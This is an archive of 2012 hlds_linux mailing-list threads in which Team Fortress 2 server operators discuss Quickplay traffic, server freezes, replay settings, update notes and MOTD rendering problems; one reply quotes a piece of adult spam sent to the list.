It seems to be really tempermental. We have servers that will be full from quickplay some days, and others we will get 6+ regulars in with an event and not one single person joins. We also have two similar servers set up running a rotation of the more popular maps (per TF2Stats). Some days, one of them fills and the other does not, other days, the other one will fill and not a single person connects to #1. It's frustrating and while I would like a little more certainty out of QP, the bare fact seems to be a mix of: 1. People just don't want to play that map mode 2. There is simply no way you're going to fill everyone's server if you have 17000 servers with 66000 players (http://tf2stats.net/servers/). That's 3 people a server. TF2 is simply over-saturated with servers. From: Miika miikalaak...@hotmail.com To: hlds_linux@list.valvesoftware.com Sent: Saturday, November 24, 2012 4:29:54 PM Subject: Re: [hlds_linux] TF2 empty servers It’s really strange. All of my servers are on Good standing and have been extremely popular for a long time, but now my servers have completely stopped gaining Quickplay traffic. I’ve seen many of my servers getting to 12 players but they still fail to receive any players from quickplay. I even have the beta quickplay enabled on the servers, but makes no difference. I did notice a drop on amount of players in TF2 when the new CoD was released, but now it seems that the player count has somewhat stabilized. Still no quickplay traffic though. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Servers still getting stuck, freezing, 100% CPU.
New in the Mann Co Store: Bugfixes! LOL Anyway, that's something that's been said a lot and many times - we need an update that does a major optimization of everything - I mean everything. performance, netcode, etc. Unless things are _VERY_ well thought out from the start, it's difficult to keep adding new features and content to a piece of software without running into hacks and performance problems that were not initially anticipated, and now we're really starting to see it in TF2. Speaking of performance, has anyone had success with 32 man servers recently? They used to be one of our most popular servers until they became CPU-eating beasts that would bring the box to its knees. Thanks. From: Sampson Rogers kritskring...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Saturday, November 17, 2012 3:04:53 PM Subject: Re: [hlds_linux] Servers still getting stuck, freezing, 100% CPU. Map bugs are indeed a big deal but at least they can be worked around in a few different ways. Internal issues, crashing issues, we really can't work around. I just wished they would stop adding extra stuff to this game until it's in a relatively free crash state. I know it won't happen, because they have things to sell on the Mann Co Store, but I sure wish it would. I know we weren't forced in to running servers but it's just sad the number of things we have to go through to provide a free gaming service to our community and passer-bys. On Sat, Nov 17, 2012 at 2:01 PM, ics i...@ics-base.net wrote: It's odd how some simple things take a lot of time to fix. They prioritize but looks to me like some random selection. I'm not saying the issues brought up here are easy to fix but some are. It's like few changes and then it's done but so difficult for them to do from the looks of it. Good example are the map flaws such as staircases not being smooth to walk on, map bugs, invalid textures and such. I know they require map to be recompiled and redistributed but applying a fix for a simple thing like preventing teleport built to certain area is so easy to do in hammer, in many ways. It's the minor things they miss, but some of those are important to us to get done - and usually as fast as possible. I know several other issues with maps that keep getting people stuck (not alone from teleports) and similiar but i know those won't get fixed as they have enough things to do anyway. I reported one flaw in one of the maps 1,5 months ago. I got reply it will be forwarded to TF2 team. Then i asked around, reported it again to a different person and i got reply someone will look into it. 2 weeks since i reported it for second time has passed and still not fixed. People keep building teleports to that spot to trap people inside the fence occasionally on our servers. Obviously it is marked low priority in the queue. A fix that i could do in a minute (+ map compile time). I don't want to go there since everyone would have to redownload the map with different name and then no quickplay and tons of problems. Maybe next week, maybe. -ics 17.11.2012 19:26, scipi...@aol.com kirjoitti: Thats because we're all on 'valve time' my friend. It took them years to fix alot of issues in l4d2 lol Sent from my Verizon Wireless 4G LTE DROID Sampson Rogers kritskring...@gmail.com wrote: The problem just needs to be addressed, point blank. It is utterly ridiculous that some of these problems have persisted for so long. Some of them requiring specific plugins/extensions to fix, such as this: https://forums.alliedmods.net/**showthread.php?p=1770836https://forums.alliedmods.net/showthread.php?p=1770836 I know I didn't provide details, but that's because I don't have any. It happens at random and nothing is ever logged. The server doesn't crash, it just freezes. On Sat, Nov 17, 2012 at 12:17 PM, ics i...@ics-base.net wrote: Only gain is the free of memory. I have 2 machine from which 2 servers restart daily to free memory. The other, i never restart the gameservers on it unless i have to. I haven't seen any performance changes to the way or the other between the restarted servers and non restarted ones. Restarting is also bad if you have players around the clock, like i did have on halloween event. Drives them away. -ics 17.11.2012 19:03, scipi...@aol.com kirjoitti: Isn't it good practice to restart servers on a daily basis? So it'll always be fresh? Sent from my Verizon Wireless 4G LTE DROID ics i...@ics-base.net wrote: I have only seen the froze on MvM server, twice and none yet after the latest update. Regular TF2 servers seem to be fine -ics 17.11.2012 18:45, Peter Reinhold kirjoitti: On 17.11.2012 15:47, Sampson Rogers wrote: Seems this issue remains. I'm having to restart roughly 2 or 3 servers a week due to this. Experiencing the same here, i've only seen it
Re: [hlds_linux] Hanging on mapchange (changelevel)
One has to admit, the spam-bot might be onto an idea for improving server traffic... :-) From: Kalen Orchard kalenorch...@gmail.com To: hlds_linux@list.valvesoftware.com Sent: Wednesday, October 31, 2012 9:12:42 AM Subject: Re: [hlds_linux] Hanging on mapchange (changelevel) -- Message: 7 Date: Wed, 31 Oct 2012 04:45:16 -0700 (PDT) From: Staci Page danalmmp79...@yahoo.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] Hanging on mapchange (changelevel) Message-ID: 1351683916.2086.yahoomailclas...@web124902.mail.ne1.yahoo.com Content-Type: text/plain; charset=us-ascii Well you responded, didn't realize I'd get your response that fast! I was just looking at some news sites, kinda bored. Would you liven things up with me, do you happen to have a web cam? I do! ;) Check my pictures here on my page if you'd want. Sext me a naughty photo or would u wanna do a little bit of phone sex? My phone # is on there. TTYS? xxoo -- This is gonna be one them weird days, id'nit? ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Start Server With Replay Auto-Enabled?
I can confirm this. Interestingly enough, I do have ONE server that does require a map change despite having the -replay in the startup. It will sit with 25 player slots and an 'increased_maxplayers' tag until the map change, for some reason. (I haven't altered maxplayers, and the replay output in the log says it's enabled). Not to derail the thread, but any thoughts on that? From: Steven Sumichrast packh...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, October 31, 2012 10:21:18 AM Subject: Re: [hlds_linux] Start Server With Replay Auto-Enabled? My experience has been that even though that message appears, on the first load it does work. All of my servers show the same thing, but replay is working without a map change (only if replay is started at the command line -- if it's started after the server is booted then the replay recordings don't start until map change). On Wed, Oct 31, 2012 at 8:19 AM, Chris Oryschak ch...@oryschak.com wrote: Is it possible to start a TF2 server with replay's enabled and not have to perform an changelevel after the server initially loads. The reason i'm asking is because I have a few single map (24/7) servers that don't change the map and when i first load up the server (or after patch day) i need to manually change the level once for the replays to work correctly. Currently I load TF2 with the -replay switch which and the console says this: * SUCCESS - REPLAY IS ENABLED! * * A 'changelevel' or 'map' is required - recording will * begin at the start of the next round. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Optional Team Fortress 2 update released
Try the TF2 ModelManager plugin that's used for playing as robots. it may work in combo with what you're doing. Do let us know if it works. From: Daniel Barreiro smelly.feet.you.h...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Saturday, October 27, 2012 7:45:01 PM Subject: Re: [hlds_linux] Optional Team Fortress 2 update released Thanks Eric. Can't wait for the lag to be fixed. On a side note, would it be possible to make it so plugins could force the zombie skins? We're trying to do it for Super Zombie Fortress. We called the attributes with TF2items, and it makes the skin go zombie, but the scout_zombie.mdl is not appearing, so we have a green scout with transparent body parts. On Sat, Oct 27, 2012 at 6:42 PM, Eric Smith er...@valvesoftware.com wrote: We're still investigating the lag problems that have been reported. -Eric -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto: hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Pieter-bas Ronner Sent: Saturday, October 27, 2012 3:41 PM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Optional Team Fortress 2 update released Eric, We have also some lag problems since the last patch. is this also a bug in tf2? 2012/10/28 Eric Smith er...@valvesoftware.com We've released an optional (for dedicated servers) update for Team Fortress 2. The notes for the update are below. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Fixed a regression in the Mac's minimum system check Team Fortress 2 - Added new audio lines for Merasmus to use when he attacks - Fixed a Linux dedicated server crash related to Mann vs. Machine mode ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released
Anyone else experiencing the below? I can confirm it on a Linux box. From: T Marler bloodyi...@shaw.ca To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Friday, October 26, 2012 9:15:43 PM Subject: Re: [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released I updated my servers (with verify all) twice, as soon ass the queueing system kicks in, my server blurts out: Invalid wave number Invalid Where argument 'spawnbot_scattered' Unknown attribute 'Where' in WaveSpawn definition. Invalid Where argument 'spawnbot_scattered' Unknown attribute 'Where' in WaveSpawn definition. And now my servers are not responsive. Wtf? - Original Message - From: Eric Smith er...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com, Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com, hlds_annou...@list.valvesoftware.com hlds_annou...@list.valvesoftware.com Sent: Friday, October 26, 2012 5:16:39 PM Subject: [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released We've released mandatory updates for TF2, DoD:S, and HL2:DM. The notes for the updates are below. -Eric -- Source Engine Changes (TF2, DoD:S, HL2:DM) - Added mat_viewportupscale and mat_viewportscale to enable rendering the world at a reduced resolution. (mat_viewportupscale 1 and mat_viewportscale 0.5 will downscale world rendering by 50%.) - Added a new convar mp_mapcycle_empty_timeout_seconds to trigger a changelevel when the server is empty - Fixed a bug that prevented consecutive clicks on scrollbar buttons - Performance and stability improvements - Added positional audio support for Mumble clients Team Fortress 2 - Scream Fortress Event 2012 - Fixed a bug where buildings would be invisible during their setup time - Mann vs. Machine - Added the map Mvm_coaltown_event with a special Halloween mission - Fixed a bug where players money would not be set properly when restoring a checkpoint - Fixed server crash on vote to restart mission ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Quickplay not activating?
Has anyone noticed issues with Quickplay since about 2 weeks ago? We have several servers, some of which have no issues filling, but others get no quickplay traffic at all as of late, despite having both a gameserver identity (in good standing) and tf_mm_servermode set to 1. Some of those affected were regularly full of QP traffic, and seem to have just died overnight. Even if we get 6 people in the server, not one single person comes in via Quickplay, whereas before, you would at least see the odd person come in until the server was full. There are also no configuration differences (Except the running maps) between servers that do fill and those that don't. Thanks in advance for any suggestions. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Server not responding while server is up
Also check the server IP displayed in the game info window when it says not responding. If it's not the real IP of the server, there's not much you can do - my understanding is that this happens when your server loses connection to Valve, and when it reconnects sometimes the IP address is incorrect, causing the failed invites and Not responding errors. From: The Mighty Gerbil themightyger...@agapegraphics.com To: hlds_linux@list.valvesoftware.com Sent: Wednesday, September 19, 2012 4:30:53 AM Subject: [hlds_linux] Server not responding while server is up Hi several of my regulars on our server were getting server not responding yesterday on our game night. This is while many of us are in the server actively playing on it without problem (regular 24 man with about 12- 14 on it). Even game invites did not work consistently. Bear in mind these are regulars who have played with us, with normal pings and once they finally got in had normal pings. In addition several clients, not the server itself, crashed or hung on map change. Nothing new has been added since last we played although I did update all the source mod plugins we already use. We have had ongoing other problems which I won't get into (occasional server crash, on and off map change, and general hit detection issues) but these particular ones are new. Not sure what to look for in our server log or if anything would be there, as these are client side occurrences, but client crashes did coincide with server map change. Although probably unrelated I was also wondering about this line... L 09/19/2012 - 04:47:40: WARNING: ClientActive, but we don't know his SteamID? Which appears to have started showing up around the MVM update whether you are running the mode or not. Anyway any ideas on the server not responding or clients crashing/hanging on map change problems? ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] HTML MOTDs not rendering?
Hi all, This was touched on in a previous post - Does anyone know a solution for MOTDs not rendering (just a gray box, not even a background/plain text shows). I've had this happen to me with both HTML motds and plain text contained in the motd.txt file. The weird things are that: a) some people can see the MOTDs fine. b) right clicking the box and hitting 'view source' shows the HTML content of the correct MOTD page c) I've gotten it to show up for me exactly once. Running our servers on Linux, there's no flash content or ads in the motd, and they render fine in a webkit-based browser. I've tried both just the MOTD url in motd.txt as well as a META refresh to redirect. both have the same result. If anyone knows of a fix, I'm all ears as we're in a situation where most of our traffic is passthru Quickplay, and I'd like to at least inform them about server rules and the existence of our other servers/extended/non-tf2 community Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] HTML MOTDs not rendering?
If it helps, the MOTD itself is located here: http://freefrag.com/motd/motd.php From: Bjorn Wielens uniac...@yahoo.ca To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 11:31:14 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? Understood. I've rebooted the server numerous times and also restarted my client as well. What I find weird is that the client _HAS_ the correct HTML for the MOTD, but just isn't displaying it at random! From: Herover leon.l.a.niel...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 10:55:42 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? I found that I sometimes have to shut down or/and atleast wait a few minutes before I'm able to read a new. Not sure if it's client side or server (SRCDS) side. 2012/9/12 Bjorn Wielens uniac...@yahoo.ca: Hi all, This was touched on in a previous post - Does anyone know a solution for MOTDs not rendering (just a gray box, not even a background/plain text shows). I've had this happen to me with both HTML motds and plain text contained in the motd.txt file. The weird things are that: a) some people can see the MOTDs fine. b) right clicking the box and hitting 'view source' shows the HTML content of the correct MOTD page c) I've gotten it to show up for me exactly once. Running our servers on Linux, there's no flash content or ads in the motd, and they render fine in a webkit-based browser. I've tried both just the MOTD url in motd.txt as well as a META refresh to redirect. both have the same result. If anyone knows of a fix, I'm all ears as we're in a situation where most of our traffic is passthru Quickplay, and I'd like to at least inform them about server rules and the existence of our other servers/extended/non-tf2 community Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] HTML MOTDs not rendering?
I'm of the same mindset, but unfortunately we lost our old one during server moves and upgrades, and the default one doesn't exactly cut it :) From: Herover leon.l.a.niel...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 11:36:46 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? My lesson learned after trying countless of hours to write motd.txt: if it works, don't touch it! I have never experienced that the problem was the webpage to be shown itself. 2012/9/12 Bjorn Wielens uniac...@yahoo.ca: If it helps, the MOTD itself is located here: http://freefrag.com/motd/motd.php From: Bjorn Wielens uniac...@yahoo.ca To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 11:31:14 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? Understood. I've rebooted the server numerous times and also restarted my client as well. What I find weird is that the client _HAS_ the correct HTML for the MOTD, but just isn't displaying it at random! From: Herover leon.l.a.niel...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 10:55:42 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? I found that I sometimes have to shut down or/and atleast wait a few minutes before I'm able to read a new. Not sure if it's client side or server (SRCDS) side. 2012/9/12 Bjorn Wielens uniac...@yahoo.ca: Hi all, This was touched on in a previous post - Does anyone know a solution for MOTDs not rendering (just a gray box, not even a background/plain text shows). I've had this happen to me with both HTML motds and plain text contained in the motd.txt file. The weird things are that: a) some people can see the MOTDs fine. b) right clicking the box and hitting 'view source' shows the HTML content of the correct MOTD page c) I've gotten it to show up for me exactly once. Running our servers on Linux, there's no flash content or ads in the motd, and they render fine in a webkit-based browser. I've tried both just the MOTD url in motd.txt as well as a META refresh to redirect. both have the same result. If anyone knows of a fix, I'm all ears as we're in a situation where most of our traffic is passthru Quickplay, and I'd like to at least inform them about server rules and the existence of our other servers/extended/non-tf2 community Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] HTML MOTDs not rendering?
I feared as much. Hopefully this gets fixed soon, as the community is in a bit of a slump and we need some fresh blood :) From: Cameron Munroe cmun...@cameronmunroe.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 12:10:53 PM Subject: Re: [hlds_linux] HTML MOTDs not rendering? This is an issue with the current engine. Nothing you can do other than wait for valve. On 9/12/2012 7:55 AM, Bjorn Wielens wrote: I'm of the same mindset, but unfortunately we lost our old one during server moves and upgrades, and the default one doesn't exactly cut it :) From: Herover leon.l.a.niel...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 11:36:46 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? My lesson learned after trying countless of hours to write motd.txt: if it works, don't touch it! I have never experienced that the problem was the webpage to be shown itself. 2012/9/12 Bjorn Wielens uniac...@yahoo.ca: If it helps, the MOTD itself is located here: http://freefrag.com/motd/motd.php From: Bjorn Wielens uniac...@yahoo.ca To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 11:31:14 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? Understood. I've rebooted the server numerous times and also restarted my client as well. What I find weird is that the client _HAS_ the correct HTML for the MOTD, but just isn't displaying it at random! From: Herover leon.l.a.niel...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, September 12, 2012 10:55:42 AM Subject: Re: [hlds_linux] HTML MOTDs not rendering? I found that I sometimes have to shut down or/and atleast wait a few minutes before I'm able to read a new. Not sure if it's client side or server (SRCDS) side. 2012/9/12 Bjorn Wielens uniac...@yahoo.ca: Hi all, This was touched on in a previous post - Does anyone know a solution for MOTDs not rendering (just a gray box, not even a background/plain text shows). I've had this happen to me with both HTML motds and plain text contained in the motd.txt file. The weird things are that: a) some people can see the MOTDs fine. b) right clicking the box and hitting 'view source' shows the HTML content of the correct MOTD page c) I've gotten it to show up for me exactly once. Running our servers on Linux, there's no flash content or ads in the motd, and they render fine in a webkit-based browser. I've tried both just the MOTD url in motd.txt as well as a META refresh to redirect. both have the same result. If anyone knows of a fix, I'm all ears as we're in a situation where most of our traffic is passthru Quickplay, and I'd like to at least inform them about server rules and the existence of our other servers/extended/non-tf2 community Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux